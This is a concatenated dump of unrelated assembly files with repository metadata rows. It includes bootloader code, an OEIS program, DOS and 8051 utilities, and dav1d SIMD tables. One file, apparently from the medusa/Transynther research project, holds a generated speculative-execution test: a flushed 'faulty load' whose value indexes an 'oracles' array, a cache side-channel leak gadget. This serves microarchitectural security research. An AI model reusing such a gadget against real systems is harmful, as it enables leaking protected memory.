jmp 0x18:.bits32
.bits32:
bits 32
mov bx, 0x20
mov ds, bx
mov es, bx
mov fs, bx
mov gs, bx
mov ss, bx
; Restore non-scratch GPRs
pop ebp
pop edi
pop esi
pop ebx
; Dehook int 0x08
mov edx, dword [int_08_callback]
mov dword [0x08*4], edx
xor edx, edx
mov dl, ah
xor ah, ah
push eax
push edx
call getchar_internal
pop edx
pop edx
ret
.gdt: dq 0
.idt: dq 0
.rm_idt: dw 0x3ff
dd 0
| 14.847826 | 41 | 0.57345 |
fedb5bbfeafee25068148d552019944863836827 | 5,925 | asm | Assembly | Transynther/x86/_processed/AVXALIGN/_st_/i9-9900K_12_0xca_notsx.log_21829_1221.asm | ljhsiun2/medusa | 67d769b8a2fb42c538f10287abaf0e6dbb463f0c | [
"MIT"
] | 9 | 2020-08-13T19:41:58.000Z | 2022-03-30T12:22:51.000Z | Transynther/x86/_processed/AVXALIGN/_st_/i9-9900K_12_0xca_notsx.log_21829_1221.asm | ljhsiun2/medusa | 67d769b8a2fb42c538f10287abaf0e6dbb463f0c | [
"MIT"
] | 1 | 2021-04-29T06:29:35.000Z | 2021-05-13T21:02:30.000Z | Transynther/x86/_processed/AVXALIGN/_st_/i9-9900K_12_0xca_notsx.log_21829_1221.asm | ljhsiun2/medusa | 67d769b8a2fb42c538f10287abaf0e6dbb463f0c | [
"MIT"
] | 3 | 2020-07-14T17:07:07.000Z | 2022-03-21T01:12:22.000Z | .global s_prepare_buffers
s_prepare_buffers:
push %r10
push %r9
push %rax
push %rdi
lea addresses_normal_ht+0xbc71, %r9
nop
nop
nop
nop
nop
xor %r10, %r10
movl $0x61626364, (%r9)
nop
sub %rax, %rax
pop %rdi
pop %rax
pop %r9
pop %r10
ret
.global s_faulty_load
s_faulty_load:
push %r11
push %r12
push %r14
push %r15
push %r8
push %rbp
push %rcx
push %rdi
push %rsi
// Store
lea addresses_A+0x1744b, %r14
nop
nop
nop
nop
nop
sub %r12, %r12
mov $0x5152535455565758, %r15
movq %r15, %xmm0
movups %xmm0, (%r14)
nop
nop
nop
nop
nop
xor $30606, %r15
// Store
lea addresses_WT+0x5383, %r11
nop
nop
nop
nop
nop
xor %r8, %r8
mov $0x5152535455565758, %r12
movq %r12, %xmm6
movups %xmm6, (%r11)
nop
nop
nop
nop
cmp %r11, %r11
// Load
lea addresses_D+0x15a3f, %r11
nop
nop
sub $61411, %r12
mov (%r11), %r14
nop
add $1997, %r14
// REPMOV
lea addresses_UC+0x1657d, %rsi
lea addresses_WT+0xa403, %rdi
clflush (%rsi)
dec %r14
mov $10, %rcx
rep movsq
nop
nop
cmp %rdi, %rdi
// Store
lea addresses_WT+0xa183, %r8
nop
inc %r12
movb $0x51, (%r8)
nop
nop
and %r8, %r8
// REPMOV
lea addresses_WC+0x12303, %rsi
lea addresses_WT+0xa403, %rdi
nop
nop
nop
nop
cmp %r14, %r14
mov $75, %rcx
rep movsl
add $55310, %r15
// Store
mov $0x50b, %r8
nop
sub %r12, %r12
mov $0x5152535455565758, %r11
movq %r11, %xmm0
movntdq %xmm0, (%r8)
nop
dec %rsi
// Faulty Load
lea addresses_WT+0xa403, %rsi
clflush (%rsi)
nop
nop
nop
inc %rdi
mov (%rsi), %r15
lea oracles, %r12
and $0xff, %r15
shlq $12, %r15
mov (%r12,%r15,1), %r15
pop %rsi
pop %rdi
pop %rcx
pop %rbp
pop %r8
pop %r15
pop %r14
pop %r12
pop %r11
ret
/*
<gen_faulty_load>
[REF]
{'OP': 'LOAD', 'src': {'same': False, 'type': 'addresses_WT', 'NT': False, 'AVXalign': False, 'size': 1, 'congruent': 0}}
{'OP': 'STOR', 'dst': {'same': False, 'type': 'addresses_A', 'NT': False, 'AVXalign': False, 'size': 16, 'congruent': 3}}
{'OP': 'STOR', 'dst': {'same': False, 'type': 'addresses_WT', 'NT': False, 'AVXalign': False, 'size': 16, 'congruent': 6}}
{'OP': 'LOAD', 'src': {'same': False, 'type': 'addresses_D', 'NT': False, 'AVXalign': False, 'size': 8, 'congruent': 1}}
{'OP': 'REPM', 'src': {'same': False, 'congruent': 1, 'type': 'addresses_UC'}, 'dst': {'same': True, 'congruent': 0, 'type': 'addresses_WT'}}
{'OP': 'STOR', 'dst': {'same': False, 'type': 'addresses_WT', 'NT': False, 'AVXalign': False, 'size': 1, 'congruent': 1}}
{'OP': 'REPM', 'src': {'same': False, 'congruent': 8, 'type': 'addresses_WC'}, 'dst': {'same': True, 'congruent': 0, 'type': 'addresses_WT'}}
{'OP': 'STOR', 'dst': {'same': False, 'type': 'addresses_P', 'NT': True, 'AVXalign': False, 'size': 16, 'congruent': 2}}
[Faulty Load]
{'OP': 'LOAD', 'src': {'same': True, 'type': 'addresses_WT', 'NT': False, 'AVXalign': True, 'size': 8, 'congruent': 0}}
<gen_prepare_buffer>
{'OP': 'STOR', 'dst': {'same': False, 'type': 'addresses_normal_ht', 'NT': False, 'AVXalign': False, 'size': 4, 'congruent': 0}}
{'38': 21829}
38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38
*/
| 36.574074 | 2,999 | 0.653502 |
f775c8b1e3e6c37311f31bd773f3ca0d61ce5adb | 1,312 | asm | Assembly | programs/oeis/008/A008811.asm | jmorken/loda | 99c09d2641e858b074f6344a352d13bc55601571 | [
"Apache-2.0"
] | 1 | 2021-03-15T11:38:20.000Z | 2021-03-15T11:38:20.000Z | programs/oeis/008/A008811.asm | jmorken/loda | 99c09d2641e858b074f6344a352d13bc55601571 | [
"Apache-2.0"
] | null | null | null | programs/oeis/008/A008811.asm | jmorken/loda | 99c09d2641e858b074f6344a352d13bc55601571 | [
"Apache-2.0"
] | null | null | null | ; A008811: Expansion of x*(1+x^4)/((1-x)^2*(1-x^4)).
; 0,1,2,3,4,7,10,13,16,21,26,31,36,43,50,57,64,73,82,91,100,111,122,133,144,157,170,183,196,211,226,241,256,273,290,307,324,343,362,381,400,421,442,463,484,507,530,553,576,601,626,651,676,703,730,757,784,813,842,871,900,931,962,993,1024,1057,1090,1123,1156,1191,1226,1261,1296,1333,1370,1407,1444,1483,1522,1561,1600,1641,1682,1723,1764,1807,1850,1893,1936,1981,2026,2071,2116,2163,2210,2257,2304,2353,2402,2451,2500,2551,2602,2653,2704,2757,2810,2863,2916,2971,3026,3081,3136,3193,3250,3307,3364,3423,3482,3541,3600,3661,3722,3783,3844,3907,3970,4033,4096,4161,4226,4291,4356,4423,4490,4557,4624,4693,4762,4831,4900,4971,5042,5113,5184,5257,5330,5403,5476,5551,5626,5701,5776,5853,5930,6007,6084,6163,6242,6321,6400,6481,6562,6643,6724,6807,6890,6973,7056,7141,7226,7311,7396,7483,7570,7657,7744,7833,7922,8011,8100,8191,8282,8373,8464,8557,8650,8743,8836,8931,9026,9121,9216,9313,9410,9507,9604,9703,9802,9901,10000,10101,10202,10303,10404,10507,10610,10713,10816,10921,11026,11131,11236,11343,11450,11557,11664,11773,11882,11991,12100,12211,12322,12433,12544,12657,12770,12883,12996,13111,13226,13341,13456,13573,13690,13807,13924,14043,14162,14281,14400,14521,14642,14763,14884,15007,15130,15253,15376,15501
lpb $0
add $1,$0
trn $0,4
add $1,$0
lpe
| 145.777778 | 1,211 | 0.769817 |
a6fb64421792ab343d891c31fc16b5f8042c1571 | 950 | asm | Assembly | ADL/Assemble/Delete/2/B~HR_delete_middle.asm | MaxMorning/LinkedListVisualization | b2a4f8f11ff6f6dfb495566a006e3472f1dac369 | [
"Apache-2.0"
] | 3 | 2021-11-06T03:47:08.000Z | 2021-11-06T03:47:11.000Z | ADL/Assemble/Delete/2/B~HR_delete_middle.asm | MaxMorning/LinkedListVisualization | b2a4f8f11ff6f6dfb495566a006e3472f1dac369 | [
"Apache-2.0"
] | null | null | null | ADL/Assemble/Delete/2/B~HR_delete_middle.asm | MaxMorning/LinkedListVisualization | b2a4f8f11ff6f6dfb495566a006e3472f1dac369 | [
"Apache-2.0"
] | 1 | 2021-11-06T03:47:14.000Z | 2021-11-06T03:47:14.000Z | aLine 0
sInit sTemp, {0:D}
sBge sTemp, 1, 20
aLine 1
gNew delPtr
gMove delPtr, Root
aLine 2
gBne Root, null, 3
aLine 3
Exception NOT_FOUND
aLine 5
gMoveNext Root, Root
aLine 6
pDeletePrev Root
aLine 7
pDeleteNext delPtr
pDeletePrev delPtr
nDelete delPtr
gDelete delPtr
aLine 8
aStd
Halt
aLine 10
gNew delPtr
gMove delPtr, Root
aLine 11
sInit i, 0
sBge i, {0:D}, 10
aLine 12
gBne delPtr, null, 3
aLine 13
Exception NOT_FOUND
aLine 15
gMoveNext delPtr, delPtr
aLine 11
sInc i, 1
Jmp -9
aLine 17
gBne delPtr, null, 3
aLine 18
Exception NOT_FOUND
aLine 20
gNewVPtr delNext
gMoveNext delNext, delPtr
gNewVPtr delPrev
gMovePrev delPrev, delPtr
nMoveRel delPtr, delPtr, 0, -164.545
gBne delPtr, Rear, 4
aLine 21
gMove Rear, delPrev
Jmp 3
aLine 24
pSetPrev delNext, delPrev
aLine 26
pSetNext delPrev, delNext
aLine 27
pDeleteNext delPtr
pDeletePrev delPtr
nDelete delPtr
gDelete delPtr
gDelete delPrev
gDelete delNext
aLine 28
aStd
Halt | 10.91954 | 36 | 0.778947 |
d7fdcf81342d7e47f8d67e2f529a9beeb617eb17 | 236 | asm | Assembly | libsrc/_DEVELOPMENT/adt/wv_stack/c/sdcc_iy/wv_stack_init_callee.asm | jpoikela/z88dk | 7108b2d7e3a98a77de99b30c9a7c9199da9c75cb | [
"ClArtistic"
] | 640 | 2017-01-14T23:33:45.000Z | 2022-03-30T11:28:42.000Z | libsrc/_DEVELOPMENT/adt/wv_stack/c/sdcc_iy/wv_stack_init_callee.asm | jpoikela/z88dk | 7108b2d7e3a98a77de99b30c9a7c9199da9c75cb | [
"ClArtistic"
] | 1,600 | 2017-01-15T16:12:02.000Z | 2022-03-31T12:11:12.000Z | libsrc/_DEVELOPMENT/adt/wv_stack/c/sdcc_iy/wv_stack_init_callee.asm | jpoikela/z88dk | 7108b2d7e3a98a77de99b30c9a7c9199da9c75cb | [
"ClArtistic"
] | 215 | 2017-01-17T10:43:03.000Z | 2022-03-23T17:25:02.000Z |
; wv_stack_t *wv_stack_init_callee(void *p, size_t capacity, size_t max_size)
SECTION code_clib
SECTION code_adt_wv_stack
PUBLIC _wv_stack_init_callee
EXTERN _w_vector_init_callee
defc _wv_stack_init_callee = _w_vector_init_callee
| 19.666667 | 77 | 0.860169 |
5157cabdd2c8913fbc36c917ff5bf5c7f46e3849 | 1,627 | asm | Assembly | Modul 2/latih9.asm | hyuwah/fu-praktikum-smd | a06fe109a42aa96e75f9a425a0905d6bfbfdfc7e | [
"MIT"
] | null | null | null | Modul 2/latih9.asm | hyuwah/fu-praktikum-smd | a06fe109a42aa96e75f9a425a0905d6bfbfdfc7e | [
"MIT"
] | null | null | null | Modul 2/latih9.asm | hyuwah/fu-praktikum-smd | a06fe109a42aa96e75f9a425a0905d6bfbfdfc7e | [
"MIT"
] | null | null | null | ;-------------------------------------------------------------------------------
; Praktikum SMD 2015
; M.Wahyudin (140310120031)
;
; Name : LATIH9.ASM
; Desc : Menampilkan digit hexa 0 hingga F ke P1
; Cacah naik
; Input : PB di P3.0 (toggle)
; Output: 7 segment
;-------------------------------------------------------------------------------
waktu equ 75
mov b, #0h ; mengondisikan awal b=0
mov P3, #255 ; mengondisikan P3 sebagai input
mulai:
anl b, #0Fh
mov a, b ; menyalin isi b ke a
lcall tampil ; memanggil rutin tampil
mov P1, a ; mengirim nilai a ke P1
setb c
tekan:
jb P3.0, tes_on ; jika PB tak ditekan lompat ke tes_on
cpl c ; jika PB ditekan kopmlemenkan c
tekan1: jnb P3.0, tekan1 ; looping disini hingga PB dilepas
tes_on: jc delay ; jika c HIGH lompat ke delay
jmp tekan ; terus baca PB jika tak ditekan
delay:
mov R0, #200
mov R1, #200
tunggu:
djnz R0, tunggu
djnz R1, tunggu
inc b
jmp mulai
tampil:
inc a ; cacah a
movc a, @a+pc ; menyalin isi alamat a+pc ke a
ret ; kembali ke pemanggil
db 3Fh ; 0
db 06h ; 1
db 5bh ; 2
db 4Fh ; 3
db 66h ; 4
db 6Dh ; 5
db 7Dh ; 6
db 07h ; 7
db 7Fh ; 8
db 67h ; 9
db 77h ; a
db 7Ch ; b
db 39h ; c
db 5Eh ; d
db 79h ; e
db 71h ; f
end | 27.576271 | 80 | 0.435771 |
c9b5db08eb46e59e8add7083364f52e0628de9c7 | 2,317 | asm | Assembly | hexToBin.asm | page404/x86HexToBinManual | c74631cfbe2ab446a7f852eff1a1b3d28dd551e0 | [
"Apache-2.0"
] | null | null | null | hexToBin.asm | page404/x86HexToBinManual | c74631cfbe2ab446a7f852eff1a1b3d28dd551e0 | [
"Apache-2.0"
] | null | null | null | hexToBin.asm | page404/x86HexToBinManual | c74631cfbe2ab446a7f852eff1a1b3d28dd551e0 | [
"Apache-2.0"
] | null | null | null | include mylib.inc
CallDos equ <int 21h>
MyData segment
;-------------键盘输入相关的格式 输入字符串
g_dbSize db 30h ;第一个字节为缓冲区的大小(缓冲区的最大长度) 如果超出范围,DOS不让输入,并发出声音
g_dbLength db 0 ;第二个字节为实际的长度 (键盘输入后,自动填写)
g_strBuffer db 30h dup (0) ;从第三个字节开始,为Buffer
;回车 换行
g_strEnter db 0dh, 0ah, '$'
g_strTip db 'please input hex string:$'
g_strError db 'Error input$'
MyData ends
MyStack segment stack ;stack 声明此处是堆栈段,老的编译器有时候需要此声明
db 80h dup (0cch) ;在g_InitStack前面给同样大小的区域,防止堆栈溢出
g_InitStack db 80h dup (0cch) ;定义80h个字节,即十进制100个字节,作为我们的栈空间,以 cc 进行填充. 汇编中的数值,只要是 a到f开头的,前缀必须给0,否则编译器分不清是变量名还是数值.
MyStack ends
MyCode segment
START:
;数据段给类型 或者说是 声明数据段
assume ds : MyData
;---------设置数据段
mov ax, MyData
mov ds, ax
;---------设置堆栈段
mov ax, MyStack
mov ss, ax
;offset 表示取 g_InitStack标号的首地址
;栈顶设置在栈的中间位置,防止堆栈溢出
mov sp, offset g_InitStack
;在屏幕上输出
mov dx, offset g_strTip
mov ah, 09h
int 21h
;-------------等待用户选择对应的菜单选项
;DS:DX=缓冲区首地址
;(DS:DX+1)=实际输入的字符数
;(DS:DX)=缓冲区最大字符数
mov dx, offset g_dbSize
mov ah, 0ah ;0ah 表示键盘输入到缓冲区
int 21h
;下面要给输入完成的字符串添加结束符$,下面的 bl 存放的是用户实际输入的字符串长度,而加$时,用的是bx,为了将bh置0,这里直接将bx置0.
xor bx,bx
;到这一步时,用户已经输入完成,g_dbLength里面已经存入了我们输入的字符串实际长度
mov bl,g_dbLength ;默认访问的是 ds 段,所以在上面要声明 ds 在哪一个段 -> assume ds : MyData,这里才可以使用
;给我们输入的字符串在末尾添加结束符$
mov si,offset g_strBuffer
mov byte ptr [si+bx],'$'
;回车 换行
mov dx, offset g_strEnter
mov ah, 09h
CallDos
xor cx, cx
mov si, offset g_strBuffer
WHILE_BEGIN:
cmp cx, bx ;当前正在处理的十六进制位置 跟 我们输入的十六进制字符串总长度 进行比较
jae WHILE_END ;当cx 大于 bx 时,说明已经转换到了最后一个字符,跳转到 WHILE_END
mov bp, cx
xor ax, ax
mov al, ds:[si + bp]
push ax
call ShowBin ;调用 ShowBin 函数 , 这里为内平栈,即在 ShowBin 函数里 ret 2
cmp ax, 0 ;此时的 ax 为 ShowBin 的返回标识, 1:表示当前处理的为正常的十六进制字符 0:表示当前处理的不为十六进制字符
jnz NEXT
;当前处理的字符如果不为十六进制字符,在屏幕上输出 Error input 并跳转到EXIT_PROC标识,结束程序
mov dx, offset g_strError
mov ah, 9
int 21h
jmp EXIT_PROC
NEXT:
inc cx
jmp WHILE_BEGIN
WHILE_END:
EXIT_PROC:
mov ax, 4c00h
int 21h
MyCode ends
end START | 22.495146 | 124 | 0.62322 |
e83b18ad969cbe9d0d5a80fb671a9056df0e1347 | 174,485 | asm | Assembly | src/x86/mc16_avx512.asm | feiwei9696/dav1d | 87f9a81cd770e49394a45deca7a3df41243de00b | [
"BSD-2-Clause"
] | null | null | null | src/x86/mc16_avx512.asm | feiwei9696/dav1d | 87f9a81cd770e49394a45deca7a3df41243de00b | [
"BSD-2-Clause"
] | null | null | null | src/x86/mc16_avx512.asm | feiwei9696/dav1d | 87f9a81cd770e49394a45deca7a3df41243de00b | [
"BSD-2-Clause"
] | null | null | null | ; Copyright © 2020, VideoLAN and dav1d authors
; Copyright © 2020, Two Orioles, LLC
; All rights reserved.
;
; Redistribution and use in source and binary forms, with or without
; modification, are permitted provided that the following conditions are met:
;
; 1. Redistributions of source code must retain the above copyright notice, this
; list of conditions and the following disclaimer.
;
; 2. Redistributions in binary form must reproduce the above copyright notice,
; this list of conditions and the following disclaimer in the documentation
; and/or other materials provided with the distribution.
;
; THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND
; ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED
; WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE
; DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR CONTRIBUTORS BE LIABLE FOR
; ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES
; (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES;
; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND
; ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
; (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS
; SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
%include "config.asm"
%include "ext/x86/x86inc.asm"
%if ARCH_X86_64
SECTION_RODATA 64
spel_h_shufA: db 0, 1, 2, 3, 2, 3, 4, 5, 4, 5, 6, 7, 6, 7, 8, 9
db 32, 33, 34, 35, 34, 35, 36, 37, 36, 37, 38, 39, 38, 39, 40, 41
spel_h_shufC: db 8, 9, 10, 11, 10, 11, 12, 13, 12, 13, 14, 15, 14, 15, 16, 17
db 40, 41, 42, 43, 42, 43, 44, 45, 44, 45, 46, 47, 46, 47, 48, 49
db 16, 17, 18, 19, 18, 19, 20, 21, 20, 21, 22, 23, 22, 23, 24, 25
db 48, 49, 50, 51, 50, 51, 52, 53, 52, 53, 54, 55, 54, 55, 56, 57
spel_h_shufB: db 4, 5, 6, 7, 6, 7, 8, 9, 8, 9, 10, 11, 10, 11, 12, 13
db 36, 37, 38, 39, 38, 39, 40, 41, 40, 41, 42, 43, 42, 43, 44, 45
spel_h_shufD: db 12, 13, 14, 15, 14, 15, 16, 17, 16, 17, 18, 19, 18, 19, 20, 21
db 44, 45, 46, 47, 46, 47, 48, 49, 48, 49, 50, 51, 50, 51, 52, 53
db 20, 21, 22, 23, 22, 23, 24, 25, 24, 25, 26, 27, 26, 27, 28, 29
db 52, 53, 54, 55, 54, 55, 56, 57, 56, 57, 58, 59, 58, 59, 60, 61
spel_v_shuf8: db 0, 1, 16, 17, 2, 3, 18, 19, 4, 5, 20, 21, 6, 7, 22, 23
db 16, 17, 32, 33, 18, 19, 34, 35, 20, 21, 36, 37, 22, 23, 38, 39
db 8, 9, 24, 25, 10, 11, 26, 27, 12, 13, 28, 29, 14, 15, 30, 31
db 24, 25, 40, 41, 26, 27, 42, 43, 28, 29, 44, 45, 30, 31, 46, 47
spel_v_shuf16: db 0, 1, 32, 33, 2, 3, 34, 35, 4, 5, 36, 37, 6, 7, 38, 39
db 8, 9, 40, 41, 10, 11, 42, 43, 12, 13, 44, 45, 14, 15, 46, 47
db 16, 17, 48, 49, 18, 19, 50, 51, 20, 21, 52, 53, 22, 23, 54, 55
db 24, 25, 56, 57, 26, 27, 58, 59, 28, 29, 60, 61, 30, 31, 62, 63
prep_endA: db 1, 2, 5, 6, 9, 10, 13, 14, 17, 18, 21, 22, 25, 26, 29, 30
db 33, 34, 37, 38, 41, 42, 45, 46, 49, 50, 53, 54, 57, 58, 61, 62
db 65, 66, 69, 70, 73, 74, 77, 78, 81, 82, 85, 86, 89, 90, 93, 94
db 97, 98,101,102,105,106,109,110,113,114,117,118,121,122,125,126
prep_endB: db 1, 2, 5, 6, 9, 10, 13, 14, 33, 34, 37, 38, 41, 42, 45, 46
db 17, 18, 21, 22, 25, 26, 29, 30, 49, 50, 53, 54, 57, 58, 61, 62
db 65, 66, 69, 70, 73, 74, 77, 78, 97, 98,101,102,105,106,109,110
db 81, 82, 85, 86, 89, 90, 93, 94,113,114,117,118,121,122,125,126
prep_endC: db 1, 2, 5, 6, 9, 10, 13, 14, 65, 66, 69, 70, 73, 74, 77, 78
db 17, 18, 21, 22, 25, 26, 29, 30, 81, 82, 85, 86, 89, 90, 93, 94
db 33, 34, 37, 38, 41, 42, 45, 46, 97, 98,101,102,105,106,109,110
db 49, 50, 53, 54, 57, 58, 61, 62,113,114,117,118,121,122,125,126
spel_shuf4a: db 1, 2, 17, 18, 5, 6, 21, 22, 9, 10, 25, 26, 13, 14, 29, 30
db 17, 18, 33, 34, 21, 22, 37, 38, 25, 26, 41, 42, 29, 30, 45, 46
spel_shuf4b: db 18, 19, 33, 34, 22, 23, 37, 38, 26, 27, 41, 42, 30, 31, 45, 46
db 33, 34, 49, 50, 37, 38, 53, 54, 41, 42, 57, 58, 45, 46, 61, 62
spel_shuf8a: db 1, 2, 17, 18, 5, 6, 21, 22, 9, 10, 25, 26, 13, 14, 29, 30
db 17, 18, 65, 66, 21, 22, 69, 70, 25, 26, 73, 74, 29, 30, 77, 78
db 33, 34, 49, 50, 37, 38, 53, 54, 41, 42, 57, 58, 45, 46, 61, 62
db 49, 50, 97, 98, 53, 54,101,102, 57, 58,105,106, 61, 62,109,110
spel_shuf8b: db 18, 19, 65, 66, 22, 23, 69, 70, 26, 27, 73, 74, 30, 31, 77, 78
db 65, 66, 81, 82, 69, 70, 85, 86, 73, 74, 89, 90, 77, 78, 93, 94
db 50, 51, 97, 98, 54, 55,101,102, 58, 59,105,106, 62, 63,109,110
db 97, 98,113,114,101,102,117,118,105,106,121,122,109,110,125,126
spel_shuf16: db 1, 2, 33, 34, 5, 6, 37, 38, 9, 10, 41, 42, 13, 14, 45, 46
db 17, 18, 49, 50, 21, 22, 53, 54, 25, 26, 57, 58, 29, 30, 61, 62
db 65, 66, 97, 98, 69, 70,101,102, 73, 74,105,106, 77, 78,109,110
db 81, 82,113,114, 85, 86,117,118, 89, 90,121,122, 93, 94,125,126
spel_shuf32: db 1, 2, 65, 66, 5, 6, 69, 70, 9, 10, 73, 74, 13, 14, 77, 78
db 17, 18, 81, 82, 21, 22, 85, 86, 25, 26, 89, 90, 29, 30, 93, 94
db 33, 34, 97, 98, 37, 38,101,102, 41, 42,105,106, 45, 46,109,110
db 49, 50,113,114, 53, 54,117,118, 57, 58,121,122, 61, 62,125,126
spel_h_shuf2b: db 1, 2, 17, 18, 5, 6, 21, 22, 17, 18, 33, 34, 21, 22, 37, 38
db 33, 34, 49, 50, 37, 38, 53, 54, 49, 50, 9, 10, 53, 54, 13, 14
db 9, 10, 25, 26, 13, 14, 29, 30, 25, 26, 41, 42, 29, 30, 45, 46
spel_shuf2: db 10, 11, 17, 18, 14, 15, 21, 22, 17, 18, 25, 26, 21, 22, 29, 30
spel_h_shuf2a: db 0, 1, 2, 3, 2, 3, 4, 5, 16, 17, 18, 19, 18, 19, 20, 21
db 4, 5, 6, 7, 6, 7, 8, 9, 20, 21, 22, 23, 22, 23, 24, 25
w_mask_end42x: db 1, 5, 9, 13, 17, 21, 25, 29, 33, 37, 41, 45, 49, 53, 57, 61
db 65, 69, 73, 77, 81, 85, 89, 93, 97,101,105,109,113,117,121,125
w_mask_end444: db 0, 2, 4, 6, 8, 10, 12, 14, 16, 18, 20, 22, 24, 26, 28, 30
db 32, 34, 36, 38, 40, 42, 44, 46, 48, 50, 52, 54, 56, 58, 60, 62
db 64, 66, 68, 70, 72, 74, 76, 78, 80, 82, 84, 86, 88, 90, 92, 94
db 96, 98,100,102,104,106,108,110,112,114,116,118,120,122,124,126
w_mask_shuf4: db 0, 2, 8, 10, 4, 6, 12, 14, 16, 18, 24, 26, 20, 22, 28, 30
db 32, 34, 40, 42, 36, 38, 44, 46, 48, 50, 56, 58, 52, 54, 60, 62
db 64, 66, 72, 74, 68, 70, 76, 78, 80, 82, 88, 90, 84, 86, 92, 94
db 96, 98,104,106,100,102,108,110,112,114,120,122,116,118,124,126
w_mask_shuf8: db 0, 2, 16, 18, 4, 6, 20, 22, 8, 10, 24, 26, 12, 14, 28, 30
db 32, 34, 48, 50, 36, 38, 52, 54, 40, 42, 56, 58, 44, 46, 60, 62
db 64, 66, 80, 82, 68, 70, 84, 86, 72, 74, 88, 90, 76, 78, 92, 94
db 96, 98,112,114,100,102,116,118,104,106,120,122,108,110,124,126
w_mask_shuf16: db 0, 2, 32, 34, 4, 6, 36, 38, 8, 10, 40, 42, 12, 14, 44, 46
db 16, 18, 48, 50, 20, 22, 52, 54, 24, 26, 56, 58, 28, 30, 60, 62
db 64, 66, 96, 98, 68, 70,100,102, 72, 74,104,106, 76, 78,108,110
db 80, 82,112,114, 84, 86,116,118, 88, 90,120,122, 92, 94,124,126
warp8x8_permA: db 0, 1, 2, 3, 32, 33, 34, 35, 2, 3, 4, 5, 34, 35, 36, 37
db 4, 5, 6, 7, 36, 37, 38, 39, 6, 7, 8, 9, 38, 39, 40, 41
db 8, 9, 10, 11, 40, 41, 42, 43, 10, 11, 12, 13, 42, 43, 44, 45
